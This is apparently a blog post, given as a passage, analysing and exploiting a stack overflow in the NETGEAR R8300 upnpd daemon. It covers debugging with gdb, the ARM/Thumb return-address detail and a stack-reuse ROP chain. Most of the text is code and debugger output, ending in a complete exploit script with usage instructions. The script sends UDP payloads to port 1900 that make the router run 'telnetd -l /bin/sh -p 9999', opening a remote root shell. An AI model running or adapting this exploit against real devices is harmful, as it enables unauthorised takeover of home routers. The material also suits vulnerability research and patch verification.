函数说明:recv()用来接收远程主机经指定的socket传来的数据,并把数据传到由参数buf指向的内存空间,参数len为可接收数据的最大长度.参数flags一般设0,其他数值定义参考recv().参数from用来指定欲传送的网络地址,结构sockaddr请参考bind()函数.参数fromlen为sockaddr的结构长度.


sub_25E04() 中调用 strcpy() 将以上数据拷贝到大小为 0x634 - 0x58 = 0x5dc 的 buffer。如果超过缓冲区大小,数据就会覆盖栈底部分甚至返回地址。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
                +-----------------+
| retaddr |
+-----------------+
| saved ebp |
ebp--->+-----------------+
| |
| |
| |
s,ebp-0x58-->+-----------------+
| |
| buffer |
| |
| |
v40,ebp-0x634-->+-----------------+

0x04 动态调试

使用gdbserver调试目标程序https://res.cloudinary.com/dozyfkbg3/raw/upload/v1568965448/gdbserver

1
2
3
4
5
6
# ps|grep upnp
2714 0 3324 S ./usr/sbin/upnpd
2788 0 1296 S grep upnp
# ./gdbserver 127.0.0.1:12345 --attach 2714
Attached; pid = 2714
Listening on port 12345

工作机上使用跨平台试gdb-multiarch
gdb-multiarch -x dbgscript
dbgscript 内容

1
2
3
4
set architecture arm
gef-remote -q 192.168.2.1:12345
file usr/sbin/upnpd
set remote exec-file /usr/sbin/upnpd

直接构造溢出字符,程序不会正常返回,因为栈上存在一个v40的指针v51,需要覆盖为有效地址才能正确返回。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
#!/usr/bin/python3

import socket
import struct

p32 = lambda x: struct.pack("<L", x)
s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
payload = (
0x634 * b'a' +
p32(0x43434343)
)
print(payload)
s.connect(('192.168.2.2', 1900))
s.send(payload)
s.close()


1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
#!/usr/bin/python3

import socket
import struct

p32 = lambda x: struct.pack("<L", x)
s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
payload = (
0x604 * b'a' + # dummy
p32(0x7e2da53c) + # v51
(0x634 - 0x604 - 8) * b'a' + # dummy
p32(0x43434343) # LR
)
s.connect(('192.168.2.2', 1900))
s.send(payload)
s.close()

可以看到,我们向返回地址发送的数据为0x43434343,但最后PC寄存器的值为0x43434342,最后一个bit变为0,这是为什么?https://blog.3or.de/arm-exploitation-defeating-dep-executing-mprotect.html

  • 首先溢出覆盖了非叶函数的返回地址。一旦这个函数执行它的结束语来恢复保存的值,保存的LR就被弹出到PC中返回给调用者。
  • 其次关于最低有效位的一个注意事项:BX指令将加载到PC的地址的LSB复制到CPSR寄存器的T状态位,CPSR寄存器在ARM和Thumb模式之间切换:ARM(LSB=0)/Thumb(LSB=1)。
    • 我们可以看到R7300是运行在THUMB状态
    • 当处理器处于ARM状态时,每条ARM指令为4个字节,所以PC寄存器的值为当前指令地址 + 8字节
    • 当处理器处于Thumb状态时,每条Thumb指令为2字节,所以PC寄存器的值为当前指令地址 + 4字节
  • 因此保存的LR(用0x43434343覆盖)被弹出到PC中,然后弹出地址的LSB被写入CPSR寄存器T位(位5),最后PC本身的LSB被设置为0,从而产生0x43434342。

最后检查程序的缓解措施。程序本身开启了NX,之前用过R7000的真机,设备开了ASLR

在堆栈恢复前下一个断点,观察控制流转移情况,将PC指针控制为重启指令。通过 hook 的日志可以看到,ROP 利用链按照预期工作(由于模拟环境的问题,reboot 命令运行段错误了…)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
gef➤ b *0x00025F40
Breakpoint 1 at 0x25f40

.text:00025F40 ADD SP, SP, #0x234
.text:00025F44 ADD SP, SP, #0x400
.text:00025F48 LDMFD SP!, {R4-R11,PC}

**.****text****:****0003E9DC** **** LDR R0, =aReboot_0 ; "reboot"
.text:0003E9E0 BL system

**payload如下:**
payload = (
0x604 * b'a' + # dummy
p32(0x76d9d450) + # v41
(0x634 - 0x604 - 8) * b'a' + # dummy
p32(0x0003E9DC) # system(reboot)
)

**固件模拟日志:**
ssdp_http_method_check(203):
ssdp_http_method_check(231):Http message error
Detaching from process 3477
rmmod: dhd.ko: No such file or directory
**reboot: rmmod dhd failed: No such file or directory**
**[0x0003e9e4] system('reboot') = 0**

综合目前的情况:

  1. 目前可以控制R4 - R11 以及 PC(R15)寄存器
  2. 开了 NX 不能用在栈上布置shellcode
  3. 有 ASLR,不能泄漏地址,不能使用各种 LIB 库中的符号和 gadget
  4. strcpy() 函数导致的溢出,payload 中不能包含 \x00 字符。

0x05 漏洞利用

路由器已启用ASLR缓解功能,我们可以使用ROP攻击绕过该功能。但是,我们通过使用对NULL字节敏感的strcpy来执行复制调用,这反过来又会阻止我们使用ROP攻击。因此,要利用包含NULL字节的地址,我们将需要使用堆栈重用攻击。即想办法提前将 ROP payload 注入目标内存。(stack reuse
注意到recvfrom函数在接收 socket 数据时 buffer 未初始化,利用内存未初始化问题,我们可以向sub_1D020的堆栈中布置gadgets。构造如下 PoC,每个 payload 前添加 \x00 防止程序崩溃(strcpy遇到\x00截断,不会拷贝后面部分)。

1
2
3
4
5
6
7
8
9
#!/usr/bin/python3

import socket
import struct
s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
s.connect(('192.168.2.2', 1900))
s.send(b'\x00' + b'A' * 0x1ff0)
s.send(b'\x00' + b'B' * 0x633)
s.close()

在strcpy下断点调试,并检查栈区内存

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
gef➤  info b
Num Type Disp Enb Address What
1 breakpoint keep y 0x76dd6e48 <recvfrom+4>
2 breakpoint keep y 0x76dc350c <strcpy+4>
4 breakpoint keep y 0x00025e70
5 breakpoint keep y 0x00025e74
gef➤ search-pattern BBBB
[+] Searching 'BBBB' in memory
[+] In '/lib/libc.so.0'(0x76d85000-0x76dea000), permission=r-x
0x76de17e4 - 0x76de17e8 → "BBBB[...]"
0x76de1ecc - 0x76de1edb → "BBBBBBBBCCCCCCC"
0x76de1ed0 - 0x76de1edb → "BBBBCCCCCCC"
[+] In '[stack]'(0x7eb36000-0x7eb6f000), permission=rw-
**0x7eb6cc75** - 0x7eb6ccac → "BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB[...]"
0x7eb6cc79 - 0x7eb6ccb0 → "BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB[...]"
0x7eb6cc7d - 0x7eb6ccb4 → "BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB[...]"
0x7eb6cc81 - 0x7eb6ccb8 → "BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB[...]"
0x7eb6cc85 - 0x7eb6ccbc → "BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB[...]"
gef➤ x/s 0x7eb6cc75
0x7eb6cc75: 'B' <repeats 1587 times>
gef➤ x/s 0x7eb6cc75+1588
0x7eb6d2a9: 'A' <repeats 6588 times>

此时程序上下文为

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
gef➤  context
[ Legend: Modified register | Code | Heap | Stack | String ]
───────────────────────────────────────────────────────────────────────────────────────────── registers ────
$r0 : 0x7eb6c5fc → 0x00000000
**$r1 : 0x7eb6cc74** → 0x42424200
$r2 : 0x1d
$r3 : 0x7eb6c5fc → 0x00000000
**$r4 : 0x7eb6cc74** → 0x42424200
$r5 : 0x0000cf02 → blx 0x10c6586
$r6 : 0x7eb6ecf4 → "192.168.2.1"
$r7 : 0x7eb6cc00 → 0x7eb6c5fc → 0x00000000
$r8 : 0x7eb6cc04 → 0x76f10020 → 0x00000000
$r9 : 0x3eaf
$r10 : 0x1
$r11 : 0x000c4584 → 0x00000005
$r12 : 0x00055450 → 0x76dc3508 → <strcpy+0> mov r3, r0
$sp : 0x7eb6c5d8 → "nnection:1"
$lr : 0x00025e74 → mov r0, r7
$pc : 0x76dc350c → <strcpy+4> ldrb r2, [r1], #1
$cpsr: [NEGATIVE zero carry overflow interrupt fast thumb]
───────────────────────────────────────────────────────────────────────────────────────────────── stack ────
0x7eb6c5d8│+0x0000: "nnection:1" ← $sp
0x7eb6c5dc│+0x0004: "tion:1"
0x7eb6c5e0│+0x0008: 0x0000313a (":1"?)
0x7eb6c5e4│+0x000c: 0x00000000
0x7eb6c5e8│+0x0010: 0x00000000
0x7eb6c5ec│+0x0014: 0x00000000
0x7eb6c5f0│+0x0018: 0x00000000
0x7eb6c5f4│+0x001c: 0x00000000
────────────────────────────────────────────────────────────────────────────────────────── code:arm:ARM ────
0x76dc3500 <strchrnul+24> bne 0x76dc34f0 <strchrnul+8>
0x76dc3504 <strchrnul+28> bx lr
0x76dc3508 <strcpy+0> mov r3, r0
→ 0x76dc350c <strcpy+4> ldrb r2, [r1], #1
0x76dc3510 <strcpy+8> cmp r2, #0
0x76dc3514 <strcpy+12> strb r2, [r3], #1
0x76dc3518 <strcpy+16> bne 0x76dc350c <strcpy+4>
0x76dc351c <strcpy+20> bx lr
0x76dc3520 <strcspn+0> push {r4, lr}
─────────────────────────────────────────────────────────────────────────────────────────────── threads ────
[#0] Id 1, Name: "upnpd", stopped, reason: BREAKPOINT
───────────────────────────────────────────────────────────────────────────────────────────────── trace ────
[#0] 0x76dc350c → strcpy()
[#1] 0x25e74 → mov r0, r7
────────────────────────────────────────────────────────────────────────────────────────────────────────────

由于接收 socket 数据的 buffer 未初始化,在劫持 PC 前我们可以往目标内存注入 6500 多字节的数据。 这么大的空间,也足以给 ROP 的 payload 一片容身之地。

使用 strcpy 调用在 bss 上拼接出命令字符串 telnetd\x20-l/bin/sh\x20-p\x209999\x20&\x20\x00,并调整 R0 指向这段内存,然后跳转 system 执行即可。

0x06 脚本使用说明

脚本帮助: usage: python2 PSV-2020-0211.py 【路由器IP】 【任意libc有效地址】
真实利用: IP:192.168.2.2 Port:upnp/1900
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
import socket
import time
import sys
from struct import pack

p32 = lambda x: pack("<L", x)
bssBase = 0x9E150 #string bss BASE Address
ip = '192.168.2.2'
libc_addr = 0x76d9d450

def banner():
a= """
# NETGEAR Nighthawk R8300 RCE Exploit upnpd, tested exploit fw version V1.0.2.130
# Date : 2020.03.09
# POC : system("telnetd -l /bin/sh -p 9999& ") Execute
# Desc : execute telnetd to access router
"""
print a


def makpayload2(libc_addr):
payload = (
0x604 * b'a' + # dummy
p32(int(libc_addr,16)) + # v51 Need to Existed Address
(0x634 - 0x604 - 8) * b'a' + # dummy
p32(0x000230f0) + # #change eip LR=0x000230f0
2509 * b'a'
"""
.text:000230F0 ADD SP, SP, #0x20C
.text:000230F4 ADD SP, SP, #0x1000
.text:000230F8 LDMFD SP!, {R4-R11,PC}
"""
)
print(len(payload))
return payload

def makpayload1():
expayload = ''
"""
.text:00013644 MOV R0, R10 ; dest
.text:00013648 MOV R1, R5 ; src
.text:0001364C BL strcpy
.text:00013650 MOV R0, R4
.text:00013654 ADD SP, SP, #0x5C ; '\'
.text:00013658 LDMFD SP!, {R4-R8,R10,PC}
"""
expayload += 'a' * 4550
expayload += p32(bssBase+3) # R4 Register
expayload += p32(0x3F340) # R5 Register //tel
expayload += 'IIII' # R6 Register
expayload += 'HHHH' # R7 Register
expayload += 'GGGG' # R8 Register
expayload += 'FFFF' # R9 Register
expayload += p32(bssBase) # R10 Register
expayload += 'BBBB' # R11 Register
expayload += p32(0x13644) # strcpy

expayload += 'd'*0x5c#dummy
expayload += p32(bssBase+6) #R4
expayload += p32(0x423D7) #R5 //telnet
expayload += 'c'*4 #R6
expayload += 'c'*4 #R7
expayload += 'c'*4 #R8
expayload += 'd'*4 #R10
expayload += p32(0x13648) #strcpy


expayload += 'd'*0x5c#dummy
expayload += p32(bssBase+8) #R4
expayload += p32(0x40CA4 ) #R5 //telnetd\x20
expayload += 'c'*4 #R6
expayload += 'c'*4 #R7
expayload += 'c'*4 #R8
expayload += 'd'*4 #R10
expayload += p32(0x13648) #strcpy

expayload += 'd'*0x5c#dummy
expayload += p32(bssBase+10) #R4
expayload += p32(0x4704A) #R5 //telnetd\x20-l
expayload += 'c'*4 #R6
expayload += 'c'*4 #R7
expayload += 'c'*4 #R8
expayload += 'd'*4 #R10
expayload += p32(0x13648) #strcpy

expayload += 'd'*0x5c#dummy
expayload += p32(bssBase+11) #R4
expayload += p32(0x04C281) #R5 //telnetd\x20-l/bin/\x20
expayload += 'c'*4 #R6
expayload += 'c'*4 #R7
expayload += 'c'*4 #R8
expayload += 'd'*4 #R10
expayload += p32(0x13648) #strcpy

expayload += 'd'*0x5c#dummy
expayload += p32(bssBase+16) #R4
expayload += p32(0x40CEC) #R5 //telnetd\x20-l/bin/
expayload += 'c'*4 #R6
expayload += 'c'*4 #R7
expayload += 'c'*4 #R8
expayload += 'd'*4 #R10
expayload += p32(0x13648) #strcpy


expayload += 'd'*0x5c#dummy
expayload += p32(bssBase+18) #R4
expayload += p32(0x9CB5) #R5 //telnetd\x20-l/bin/sh
expayload += 'c'*4 #R6
expayload += 'c'*4 #R7
expayload += 'c'*4 #R8
expayload += 'd'*4 #R10
expayload += p32(0x13648) #strcpy


expayload += 'd'*0x5c#dummy
expayload += p32(bssBase+22) #R4
expayload += p32(0x41B17) #R5 //telnetd\x20-l/bin/sh\x20-p\x20
expayload += 'c'*4 #R6
expayload += 'c'*4 #R7
expayload += 'c'*4 #R8
expayload += 'd'*4 #R10
expayload += p32(0x13648) #strcpy

expayload += 'd'*0x5c#dummy
expayload += p32(bssBase+24) #R4
expayload += p32(0x03FFC4) #R5 //telnetd\x20-l/bin/sh\x20-p\x2099
expayload += 'c'*4 #R6
expayload += 'c'*4 #R7
expayload += 'c'*4 #R8
expayload += 'd'*4 #R10
expayload += p32(0x13648) #strcpy

expayload += 'd'*0x5c#dummy
expayload += p32(bssBase+26) #R4
expayload += p32(0x03FFC4) #R5 //telnetd\x20-l/bin/sh\x20-p\x209999
expayload += 'c'*4 #R6
expayload += 'c'*4 #R7
expayload += 'c'*4 #R8
expayload += 'd'*4 #R10
expayload += p32(0x13648) #strcpy

expayload += 'd'*0x5c#dummy
expayload += p32(bssBase+28) #R4
expayload += p32(0x4A01D) #R5 //telnetd\x20-l/bin/sh\x20-p\x209999\x20&
expayload += 'c'*4 #R6
expayload += 'c'*4 #R7
expayload += 'c'*4 #R8
expayload += 'd'*4 #R10
expayload += p32(0x13648) #strcpy

expayload += 'd'*0x5c#dummy
expayload += p32(bssBase+30) #R4
expayload += p32(0x461C1) #R5 //telnetd\x20-l/bin/sh\x20-p\x209999\x20&\x20\x00
expayload += 'c'*4 #R6
expayload += 'c'*4 #R7
expayload += 'c'*4 #R8
expayload += 'd'*4 #R10
expayload += p32(0x13648) #strcpy

print "[*] Make Payload ..."

"""
.text:0001A83C MOV R0, R4 ; command
.text:0001A840 BL system
"""

expayload += 'd'*0x5c#dummy
expayload += p32(bssBase) #R4
expayload += p32(0x47398) #R5
expayload += 'c'*4 #R6
expayload += 'c'*4 #R7
expayload += 'c'*4 #R8
expayload += 'd'*4 #R10
expayload += p32(0x1A83C) #system(string) telnetd -l
return expayload

def conn(ip):
s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
s.connect((ip, 1900))
return s
print "[*] Send Proof Of Concept payload"


def checkExploit(ip):
soc = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
try:
ret = soc.connect((ip,9999))
return 1
except:
return 0

if __name__=="__main__":
ip = sys.argv[1]
libc_addr = sys.argv[2]
banner()
payload1 = makpayload1()
payload2 = makpayload2(libc_addr)
s = conn(ip)
s.send('a\x00'+payload1) #expayload is rop gadget
s.send(payload2)
time.sleep(5)
if checkExploit(ip):
print "[*] Exploit Success"
print "[*] You can access telnet %s 9999"%ip
else:
print "[*] Need to Existed Address cross each other"
print "[*] You need to reboot or execute upnpd daemon to execute upnpd"
print "[*] To exploit reexecute upnpd, description"
print "[*] Access http://%s/debug.htm and enable telnet"%ip
print "[*] then, You can access telnet. execute upnpd(just typing upnpd)"
s.close()
print """\n[*] Done ...\n"""
您的支持将鼓励我继续创作!
0%